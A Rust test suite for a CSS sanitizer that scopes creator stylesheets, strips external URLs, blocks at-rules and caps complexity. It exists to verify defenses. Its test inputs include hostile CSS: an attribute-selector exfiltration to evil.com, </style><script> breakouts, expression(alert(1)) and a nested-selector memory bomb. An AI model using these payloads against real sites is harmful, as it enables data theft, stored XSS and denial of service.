//! Tests for [`super`].

#[test]
fn nested_amplification_is_refused_before_it_is_flattened() {
    // The css soak target's second finding (infra `bd562c12`): 167 bytes of
    // nested `&` selectors allocated 2.1 GB, because the complexity caps
    // count the parsed tree additively and flattening multiplies. Measured
    // growth was ~30x per level -- 145 bytes in, 15 MB out, zero
    // rejections. Sanitization is render-time, so that is every visitor to
    // the page, not a slow save.
    let amp = "&".repeat(30);
    let css = format!("{amp} {{ {amp} {{ {amp} {{ color:red }} }} }}");
    assert!(css.len() < 200, "the point is that the input is tiny");

    let (out, rejections) = sanitize_css(&css, "abc", &test_policy());
    assert!(
        out.is_empty(),
        "an unsafe sheet renders as nothing: {out:.200}"
    );
    assert!(
        rejections
            .iter()
            .any(|r| matches!(r.kind, RejectionKind::ComplexityLimit)),
        "refusal must be recorded as a complexity limit: {rejections:?}"
    );
}

#[test]
fn ordinary_nesting_is_not_refused() {
    // The guard is worthless if it refuses real pages. Nesting is standard
    // CSS and the parser enables it deliberately.
    for css in [
        ".card { color: red; &:hover { color: blue } }",
        "h1,h2,h3 { &:hover, &:focus { color: red } }",
        ".a { .b { .c { color: red } } }",
        "@media print { .a { &:hover { color: red } } }",
    ] {
        let (out, rejections) = sanitize_css(css, "abc", &test_policy());
        assert!(
            !rejections
                .iter()
                .any(|r| matches!(r.kind, RejectionKind::ComplexityLimit)),
            "ordinary nesting was refused: {css:?} -> {rejections:?}"
        );
        assert!(
            !out.is_empty(),
            "ordinary nesting produced nothing: {css:?}"
        );
    }
}

fn test_policy() -> UrlPolicy {
    UrlPolicy::new(
        "https://u.makenot.work/alice/proj",
        ["makenot.work".to_string(), "u.makenot.work".to_string()],
    )
    .unwrap()
}
use super::*;

const SCOPE: &str = "11111111-1111-1111-1111-111111111111";

fn policy() -> UrlPolicy {
    UrlPolicy::new(
        "https://u.makenot.work/alice/proj",
        [
            "makenot.work".to_string(),
            "u.makenot.work".to_string(),
            "cdn.makenot.work".to_string(),
        ],
    )
    .unwrap()
}

fn san(css: &str) -> (String, Vec<Rejection>) {
    sanitize_css(css, SCOPE, &policy())
}

fn scoped(css: &str) -> String {
    san(css).0
}

#[test]
fn empty_input_is_empty() {
    assert_eq!(san("").0, "");
    assert_eq!(san("   ").0, "");
}

#[test]
fn scopes_plain_selectors() {
    let out = scoped("p { color: red }");
    assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 p"));
}

#[test]
fn neutralizes_body_and_root_escape() {
    let out = scoped("body { background: blue } :root { color: green }");
    // Both are confined under the canvas (descendant), matching nothing outside.
    assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body"));
    assert!(!out.contains("\nbody"));
    assert!(!out.starts_with("body"));
}

#[test]
fn rejects_import() {
    let (out, rej) = san("@import url(https://evil.com/x.css); p { color: red }");
    assert!(!out.contains("@import"));
    assert!(!out.contains("evil.com"));
    assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule));
    assert!(out.contains("color"));
}

#[test]
fn rejects_namespace_and_moz_document() {
    let (out, rej) = san("@namespace url(http://x); @-moz-document url-prefix() { p {color:red} }");
    assert!(!out.to_lowercase().contains("namespace"));
    assert!(!out.to_lowercase().contains("moz-document"));
    assert!(
        rej.iter()
            .filter(|r| r.kind == RejectionKind::BlockedAtRule)
            .count()
            >= 2
    );
}

#[test]
fn allows_media_and_keyframes_and_fontface() {
    let out = scoped(
        "@media (min-width: 600px) { .wide { color: red } } \
         @keyframes spin { from {opacity:0} to {opacity:1} }",
    );
    assert!(out.contains("@media"));
    assert!(out.contains("@keyframes"));
    // The media rule's inner selector is scoped...
    assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 .wide"));
    // ...but @keyframes stays global (not nested under the canvas).
    assert!(out.contains("@keyframes spin"));
}

#[test]
fn external_url_in_background_is_neutralized() {
    let (out, rej) = san(".x { background: url(https://evil.com/y.png) }");
    assert!(!out.contains("evil.com"));
    assert!(rej.iter().any(|r| r.kind == RejectionKind::ExternalUrl));
}

#[test]
fn internal_and_relative_urls_kept() {
    let out =
        scoped(".a{background:url(/static/p.png)} .b{background:url(https://cdn.makenot.work/x)}");
    assert!(out.contains("/static/p.png"));
    assert!(out.contains("cdn.makenot.work/x"));
}

#[test]
fn attribute_selector_exfiltration_blocked() {
    // The classic CSS data-exfiltration trick: url() must be dropped.
    let (out, _) = san("input[value^=\"a\"] { background: url(//evil.com/a) }");
    assert!(!out.contains("evil.com"));
}

#[test]
fn mnw_hiding_properties_stripped() {
    let (out, rej) = san(".mnw-buy { display: none; color: red }");
    assert!(!normalize(&out).contains("display:none"));
    assert!(out.contains("color"));
    assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
}

#[test]
fn mnw_hiding_via_has_stripped() {
    let (_out, rej) = san("*:has(.mnw-files) { opacity: 0 }");
    assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
}

#[test]
fn non_mnw_hiding_is_allowed() {
    let (out, rej) = san(".myclass { display: none }");
    assert!(normalize(&out).contains("display:none"));
    assert!(!rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
}

#[test]
fn mnw_widened_hiding_properties_stripped() {
    // UX-M4: clip-path, font-size:0, and off-screen text-indent are all hides.
    for decl in [
        "clip-path: inset(100%)",
        "font-size: 0",
        "text-indent: -9999px",
        "max-height: 0",
        "clip: rect(0, 0, 0, 0)",
    ] {
        let (_out, rej) = san(&format!(".mnw-buy {{ {decl} }}"));
        assert!(
            rej.iter().any(|r| r.kind == RejectionKind::HidingProperty),
            "expected {decl} to be treated as hiding"
        );
    }
}

#[test]
fn reduced_motion_appended() {
    let out = scoped("p { color: red }");
    assert!(out.contains("prefers-reduced-motion"));
    assert!(out.trim_end().ends_with('}'));
}

#[test]
fn fast_infinite_animation_dropped() {
    let (out, rej) = san(".spin { animation: spin 1s infinite }");
    assert!(!normalize(&out).contains("animation:spin"));
    assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
}

#[test]
fn slow_infinite_animation_kept() {
    let (out, rej) = san(".spin { animation: spin 3s infinite }");
    assert!(out.to_lowercase().contains("animation"));
    assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
}

#[test]
fn fast_high_finite_count_animation_dropped() {
    // UX-M5: a fast animation with a high *finite* iteration-count strobes too,
    // not just `infinite`.
    let (out, rej) = san(".spin { animation: spin 1s linear 100 }");
    assert!(!normalize(&out).contains("animation:spin"));
    assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));

    // Explicit property form is caught as well.
    let (_out2, rej2) = san(
        ".spin { animation-name: spin; animation-duration: 0.5s; animation-iteration-count: 50 }",
    );
    assert!(
        rej2.iter()
            .any(|r| r.kind == RejectionKind::AnimationBudget)
    );
}

#[test]
fn fast_low_finite_count_animation_kept() {
    // A handful of iterations at a fast duration is fine, not a strobe.
    let (out, rej) = san(".spin { animation: spin 1s linear 3 }");
    assert!(out.to_lowercase().contains("animation"));
    assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
}

#[test]
fn expression_function_recorded() {
    let (out, rej) = san(".x { width: expression(alert(1)) }");
    assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedFunction));
    // Behavior must match the "blocked" contract: the output must not contain
    // a working expression() call or its payload.
    let lower = out.to_ascii_lowercase();
    assert!(
        !lower.contains("expression("),
        "expression() must be neutralized in output: {out}"
    );
    assert!(
        !lower.contains("alert(1)"),
        "expression() payload must be stripped: {out}"
    );
}

#[test]
fn brace_injection_cannot_escape_scope() {
    // A creator trying to break out of the wrapper: the parse round-trip
    // makes the stray brace a no-op, so nothing lands unscoped.
    let out = scoped("color: red } body { background: red");
    assert!(!out.contains("\nbody {"));
    assert!(!out.contains("} body{"));
}

#[test]
fn platform_chrome_is_unreachable_from_creator_css() {
    // The guarantee behind `templates/custom/_chrome_style.html`. The header
    // and footer are siblings of the canvas, not descendants, so a creator
    // rule that names them is still emitted under the canvas and matches
    // nothing. This holds by structure, not by specificity or cascade layer,
    // which is why the chrome block needs no !important and no layer of its
    // own.
    const CANVAS: &str = ".user-canvas#uc-11111111-1111-1111-1111-111111111111";
    for attempt in [
        ".mnw-chrome { display: none }",
        ".mnw-chrome { background: red }",
        ".mnw-chrome-footer a { color: red }",
        "body .mnw-chrome { background: red }",
        "html body .mnw-chrome-brand { font-weight: 100 }",
        "* { background: red }",
        ":root .mnw-chrome { background: red }",
        ".mnw-chrome-actions, .mnw-chrome-brand { visibility: hidden }",
    ] {
        let out = scoped(attempt);
        for line in out.lines().filter(|l| l.contains(".mnw-chrome")) {
            assert!(
                line.contains(CANVAS),
                "a chrome selector escaped the canvas: {line}\nfrom: {attempt}"
            );
        }
        // Nothing may be emitted at the top level of the sheet.
        assert!(
            !out.trim_start().starts_with(".mnw-chrome"),
            "unscoped chrome rule from: {attempt}"
        );
    }
}

#[test]
fn idempotent_on_sanitized_output() {
    let once = scoped("p{color:red} .mnw-buy{display:none} .x{background:url(https://evil.com/y)}");
    let twice = scoped(&once);
    // Scoping a second time nests under the canvas again but must stay safe:
    // no external host, no display:none on mnw, reduced-motion present.
    assert!(!twice.contains("evil.com"));
    assert!(twice.contains("prefers-reduced-motion"));
}

#[test]
fn unsafe_scope_refused() {
    let (out, rej) = sanitize_css("p{color:red}", "evil}injection", &policy());
    assert_eq!(out, "");
    assert_eq!(rej.len(), 1);
    assert_eq!(rej[0].kind, RejectionKind::MalformedCss);
}

/// Minify sanitized output so each rule is `selector{decls}` on no
/// whitespace, for invariant checks.
fn minify(css: &str) -> String {
    StyleSheet::parse(css, parser_options())
        .unwrap()
        .to_css(PrinterOptions {
            minify: true,
            ..Default::default()
        })
        .unwrap()
        .code
}

#[test]
fn universal_and_not_selectors_are_scoped() {
    // Selectors that classically escape a scope must all end up confined to
    // the canvas: no rule may begin with a bare html/body/* selector.
    for css in [
        "* { color: red }",
        ":not(.x) { color: red }",
        "html, body { color: red }",
        ":root { color: red }",
    ] {
        let out = minify(&scoped(css));
        for bad in ["}*{", "}body{", "}html{", "}:root{"] {
            assert!(!out.contains(bad), "unscoped `{bad}` in: {out}");
        }
        for bad in ["^*{", "^body{", "^html{"] {
            let lead = bad.trim_start_matches('^');
            assert!(
                !out.starts_with(lead),
                "leads with unscoped `{lead}`: {out}"
            );
        }
        assert!(out.contains(".user-canvas#uc-"), "scope missing: {out}");
    }
}

#[test]
fn media_wrapped_escape_is_scoped() {
    let out = scoped("@media screen { body { background: red } }");
    assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body"));
}

#[test]
fn style_tag_breakout_via_content_string_is_neutralized() {
    // The sanitized output is injected raw into `<style>{{ css|safe }}</style>`
    // (templates/custom/*.html). The most direct stored-XSS attempt is a
    // declaration whose value is a string closing the tag and opening a
    // script. The serializer must never emit a literal `</style>` (or a bare
    // `<script>`), `<` inside a CSS string token has to come back escaped.
    for css in [
        r#".x { content: "</style><script>alert(1)</script>" }"#,
        r".x::before { content: '</STYLE><SCRIPT>alert(1)</SCRIPT>' }",
        r#".x { content: "\3c /style\3e <script>" }"#,
        // url() is dropped (external) but the string form must also be safe.
        r#".x { background: url("</style><script>x</script>") }"#,
    ] {
        let out = scoped(css);
        let lower = out.to_lowercase();
        assert!(
            !lower.contains("</style>"),
            "literal </style> escaped the block for input `{css}`: {out}"
        );
        assert!(
            !lower.contains("<script>"),
            "literal <script> escaped the block for input `{css}`: {out}"
        );
    }
}

// ── Newer blocked at-rules (the UX-S2 exhaustive-match additions) ──
//
// The match in `visit_rule` has no wildcard arm, so a future lightningcss
// variant fails to COMPILE until triaged, the compiler enforces that no
// variant is both blocked and allowed (a variant can't appear in two arms of
// one match). These tests pin the RUNTIME behavior the compile-check can't:
// that lightningcss parses each of these at-rules into the variant the match
// blocks, so they are actually stripped and recorded rather than emitted.

fn assert_blocked_at_rule(css: &str, marker: &str) {
    let (out, rej) = san(css);
    assert!(
        !out.to_lowercase().contains(marker),
        "blocked at-rule `{marker}` leaked into output: {out}"
    );
    assert!(
        rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule),
        "no BlockedAtRule rejection recorded for `{marker}`"
    );
    // A sibling plain rule still survives, only the at-rule is dropped.
    assert!(out.contains("color"), "sibling style rule was lost: {out}");
}

#[test]
fn rejects_container() {
    assert_blocked_at_rule(
        "@container (min-width: 100px) { p { background: red } } p { color: red }",
        "@container",
    );
}

#[test]
fn rejects_scope() {
    assert_blocked_at_rule(
        "@scope (.a) { p { background: red } } p { color: red }",
        "@scope",
    );
}

#[test]
fn rejects_starting_style() {
    assert_blocked_at_rule(
        "@starting-style { p { background: red } } p { color: red }",
        "@starting-style",
    );
}

#[test]
fn rejects_view_transition() {
    assert_blocked_at_rule(
        "@view-transition { navigation: auto } p { color: red }",
        "@view-transition",
    );
}

// ---- The caps, at their exact boundaries -------------------------------
//
// A cap tested only far past its limit does not pin the comparison: `>` and
// `>=` agree on 5001 rules and disagree on 5000, so the boundary is where
// the test has to stand.

/// `n` single-selector rules: rule-heavy, selector-light.
fn n_rules(n: usize) -> String {
    use std::fmt::Write;
    let mut css = String::new();
    for i in 0..n {
        let _ = write!(css, ".c{i}{{color:red}}");
    }
    css
}

/// One rule carrying `n` selectors: selector-heavy, rule-light. Its
/// flattening projection is `n` as well, since the projection takes the
/// widest rule rather than the sum.
fn one_rule_of(n: usize) -> String {
    let selectors = (0..n)
        .map(|i| format!(".s{i}"))
        .collect::<Vec<_>>()
        .join(",");
    format!("{selectors}{{color:red}}")
}

fn refused_for_complexity(css: &str) -> bool {
    let (out, rejections) = san(css);
    out.is_empty()
        && rejections
            .iter()
            .any(|r| r.kind == RejectionKind::ComplexityLimit)
}

#[test]
fn exactly_max_rules_is_accepted() {
    let (out, rejections) = san(&n_rules(MAX_RULES));
    assert!(
        !rejections
            .iter()
            .any(|r| r.kind == RejectionKind::ComplexityLimit),
        "the limit is inclusive: {MAX_RULES} rules are allowed"
    );
    assert!(!out.is_empty());
}

#[test]
fn one_rule_past_the_cap_is_refused() {
    // Rule-heavy and nothing else: this sheet's selector count and its
    // flattening projection both stay far inside their limits, so only the
    // rule half of the comparison can refuse it.
    assert!(refused_for_complexity(&n_rules(MAX_RULES + 1)));
}

#[test]
fn exactly_max_selectors_is_accepted() {
    let (out, rejections) = san(&one_rule_of(MAX_SELECTORS));
    assert!(
        !rejections
            .iter()
            .any(|r| r.kind == RejectionKind::ComplexityLimit),
        "the limit is inclusive: {MAX_SELECTORS} selectors are allowed, and \
         the flattening projection of one such rule is exactly the limit too"
    );
    assert!(!out.is_empty());
}

#[test]
fn the_selector_cap_is_reached_by_breadth_too() {
    // 200 rules of 51 selectors: 10,200 selectors, which is past the cap,
    // while rule_count (200) and the projection (51, the widest rule) are
    // both nowhere near theirs. This is the shape that proves
    // `selector_count` accumulates at all, since a counter that never
    // leaves zero is invisible to every other check.
    use std::fmt::Write;
    let mut css = String::new();
    for rule in 0..200 {
        let selectors = (0..51)
            .map(|s| format!(".r{rule}s{s}"))
            .collect::<Vec<_>>()
            .join(",");
        let _ = write!(css, "{selectors}{{color:red}}");
    }
    assert!(refused_for_complexity(&css));
}

// ---- The flattening projection ----------------------------------------

/// The nested-`&` bomb from infra `bd562c12`, ~30x per level.
fn amplifying_rule() -> String {
    let amp = "&".repeat(30);
    format!("{amp} {{ {amp} {{ {amp} {{ color:red }} }} }}")
}

#[test]
fn nested_amplification_is_refused_inside_at_rules_too() {
    // The projection has to descend through the grouping at-rules it allows,
    // or the bomb is one `@media print` away from being invisible again.
    let inner = amplifying_rule();
    for css in [
        format!("@media print {{ {inner} }}"),
        format!("@supports (display: grid) {{ {inner} }}"),
        format!("@layer base {{ {inner} }}"),
    ] {
        assert!(
            refused_for_complexity(&css),
            "amplification survived its wrapper: {css:.60}"
        );
    }
}

#[test]
fn the_projection_walks_past_the_first_rule() {
    // The early return at the foot of the walk is an optimisation, and an
    // optimisation that fires too early is a hole: a cheap rule first, the
    // bomb second.
    let css = format!(".a {{ color: red }} {}", amplifying_rule());
    assert!(refused_for_complexity(&css));
}

// ---- Parser options ----------------------------------------------------

#[test]
fn nesting_survives_into_the_output() {
    // `ordinary_nesting_is_not_refused` passes even with nesting disabled,
    // because the outer declarations still print. Assert the nested rule
    // itself arrives.
    let out = scoped(".card { color: red; &:hover { color: blue } }");
    assert!(
        out.contains(":hover"),
        "the nested rule was dropped rather than parsed: {out}"
    );
}

#[test]
fn one_bad_rule_does_not_discard_the_sheet() {
    // A stray `}` is a hard parse error without error recovery, and this
    // crate's answer to a fatal parse failure is to render nothing at all.
    // Recovery is what keeps one typo from blanking a creator's page. It
    // does not save everything: recovery still discards from the stray
    // brace onward, so `h1` is gone either way and `p` is the difference.
    let (out, rejections) = san("p { color: red } } h1 { color: blue }");
    assert!(
        !rejections
            .iter()
            .any(|r| r.kind == RejectionKind::MalformedCss),
        "one stray brace discarded the whole sheet: {rejections:?}"
    );
    assert!(
        out.to_lowercase().contains("red"),
        "the whole sheet was discarded: {out}"
    );
}

// ---- The item-page entry point -----------------------------------------

#[test]
fn item_css_is_scoped_to_the_item_canvas() {
    // The only test that enters through `sanitize_item_css`. Without it the
    // whole function is unobserved: item pages have no HTML of their own,
    // so a wrong scope here styles nothing and nobody sees an error.
    let (out, rejections) = sanitize_item_css("p { color: red }", SCOPE, &policy());
    assert!(rejections.is_empty());
    assert!(
        out.contains(&format!(".item-canvas#ic-{SCOPE}")),
        "item CSS was not scoped to the item canvas: {out:.200}"
    );
}

// ---- Reaching a system slot through the selector forms -----------------

#[test]
fn hiding_a_system_slot_through_any_and_host_is_stripped() {
    // `:is`/`:where`/`:not`/`:has` have their own arm and their own test.
    // These two do not, and a selector form the walk does not recurse into
    // is a way to hide a buy button.
    for selector in [":-webkit-any(.mnw-buy)", ":host(.mnw-buy)"] {
        let (_out, rejections) = san(&format!("{selector} {{ display: none }}"));
        assert!(
            rejections
                .iter()
                .any(|r| r.kind == RejectionKind::HidingProperty),
            "{selector} reached a system slot unchecked"
        );
    }
}

// ---- The hiding heuristics, on their visible side ----------------------

#[test]
fn the_hiding_thresholds_keep_what_is_still_visible() {
    // Every one of these is one comparison away from being a hide, and the
    // suite only ever asserted the hiding side. A guard that also eats
    // ordinary declarations is a bug creators would hit and we would not.
    for decl in [
        // The threshold is `< 0.1`, so a tenth is still visible.
        "opacity: 0.1",
        // A transform is not a hide unless it scales to nothing.
        "transform: translateX(10px)",
        // Nor is a clip-path unless it clips everything away.
        "clip-path: inset(0)",
        // The text-indent trick is large and NEGATIVE.
        "text-indent: 5px",
    ] {
        let (out, rejections) = san(&format!(".mnw-buy {{ {decl} }}"));
        assert!(
            !rejections
                .iter()
                .any(|r| r.kind == RejectionKind::HidingProperty),
            "{decl} is visible and was stripped anyway"
        );
        assert!(!out.is_empty(), "{decl} produced nothing");
    }
}

// ---- The strobe guard, at its boundary ---------------------------------

#[test]
fn an_infinite_animation_at_exactly_two_seconds_is_kept() {
    // The budget is "faster than 2s", so 2s itself is allowed.
    let (out, rejections) = san(".spin { animation: spin 2s infinite }");
    assert!(
        !rejections
            .iter()
            .any(|r| r.kind == RejectionKind::AnimationBudget),
        "2s is the allowed side of the boundary"
    );
    assert!(out.to_lowercase().contains("animation"));
}

#[test]
fn milliseconds_are_read_as_milliseconds() {
    // A unit test rather than a sheet, because lightningcss prints
    // `3000ms` back as `3s` and the ms branch is only reliably reached from
    // here. Getting the conversion wrong in either direction lets a 500ms
    // strobe through or eats a three-second animation.
    assert_eq!(parse_seconds("500ms"), Some(0.5));
    assert_eq!(parse_seconds("3000ms"), Some(3.0));
    assert_eq!(parse_seconds("2s"), Some(2.0));
    assert_eq!(parse_seconds("infinite"), None);
}